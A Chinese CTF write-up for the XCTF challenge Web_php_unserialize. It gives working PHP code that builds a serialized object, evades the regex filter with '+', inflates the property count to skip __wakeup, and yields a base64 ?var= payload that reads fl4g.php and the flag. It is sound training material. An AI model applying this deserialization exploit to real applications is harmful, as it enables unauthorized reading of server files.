Web_XCTF_WriteUp | Web_php_unserialize

发布时间 2023-12-09 00:01:44作者: Guanz

题目

分析

浅读一下 php 代码:

<?php 
class Demo {                                  // Demo类
    private $file = 'index.php';                  // 私有变量file赋为字符串index.php
    public function __construct($file) {          // 构建公有函数__construct,传参file
        $this->file = $file;                      // file变量的值赋给this对象调用的类的成员file
    }
    function __destruct() {                       // 构建析构函数(魔术方法)
        echo @highlight_file($this->file, true);  // this对象调用的类的成员file高亮显示并返回高亮代码输出,若执行出错不输出报错信息
    }
    function __wakeup() {                         // 初始化函数(魔术方法)
        if ($this->file != 'index.php') {         // 如果this对象调用的类的成员file的字符串不是index.php
            //the secret is in the fl4g.php       // 秘密在fl4g.php中
            $this->file = 'index.php';            // 把this对象调用的类的成员file的字符串赋为index.php
        } 
    } 
}
if (isset($_GET['var'])) {                    // 如果get表单得到的var值已设置且非空
    $var = base64_decode($_GET['var']);           // 将var值进行base64解码赋给变量var
    if (preg_match('/[oc]:\d+:/i', $var)) {       // 如果在变量var中匹配到连续的(“o”或“O”或“c”或“C”)+“:”+任意长度数字字符串+“:”
        die('stop hacking!');                     // 输出stop hacking!并退出脚本
    } else {                                      // 否则
        @unserialize($var);                       // 对参数var执行反序列化函数,若执行出错不输出报错信息
    } 
} else {                                      // 否则
    highlight_file("index.php");                  // 对字符串index.php高亮显示
} 
?>

根据代码我们得到信息:

  1. flag 文件名为 fl4g.php
  2. 若 this 对象调用的类的成员 file 如果未被引用,__destruct 函数在脚本退出时直接输出内容
  3. __wakeup 函数在 unserialize 函数执行前将 this 对象调用的类的成员 file 的字符串内容固定为 index.php
  4. 传入 var 的参数字符串为序列化的字符串,且不能是 common object 类型(o)或 class 类型(O)或 custom object 类型(C)

因此,我们需要通过向 var 变量传入经 base64 加密后的序列绕开 __wakeup 函数,这里可以采用将序列化结果的参数数量增加至超过实际数量实现;同时调用 this->file 输出 fl4g.php 的内容。

构造代码:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
 
// 创建新对象用于序列化xctf函数,参数为flag文件名
$serxctf = new Demo('fl4g.php');
// // 序列化
// echo(serialize($serxctf));
// echo '<br/>';
// // 在序列第2位插入“+”符号
// echo(substr_replace(serialize($serxctf),'+',2,0));
// echo '<br/>';
// // 将序列第12位更改为9
// echo(substr_replace(substr_replace(serialize($serxctf),'+',2,0),'9',12,1));
// echo '<br/>';
echo(base64_encode(substr_replace(substr_replace(serialize($serxctf),'+',2,0),'9',12,1)));
?>

保存为 php 文件并运行,得到结果:TzorNDoiRGVtbyI6OTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

构造 payload ?var=TzorNDoiRGVtbyI6OTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 传入参数,得到 flag 内容:

Flag

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

参考

PHP 教程-菜鸟教程
PHP中的符号 ->、=> 和 :: 详解--CSDN
PHP: 魔术方法-Manual
PHP序列化与反序列化(__sleep与__wakeup-1stPeak-CSDN
Web_XCTF_WriteUp | unserialize3-Guanz-博客园
PHP: base64_encode-Manual
php怎么给字符串添加字符-编程语言-亿速云
php常用换行代码-1stPeak-CSDN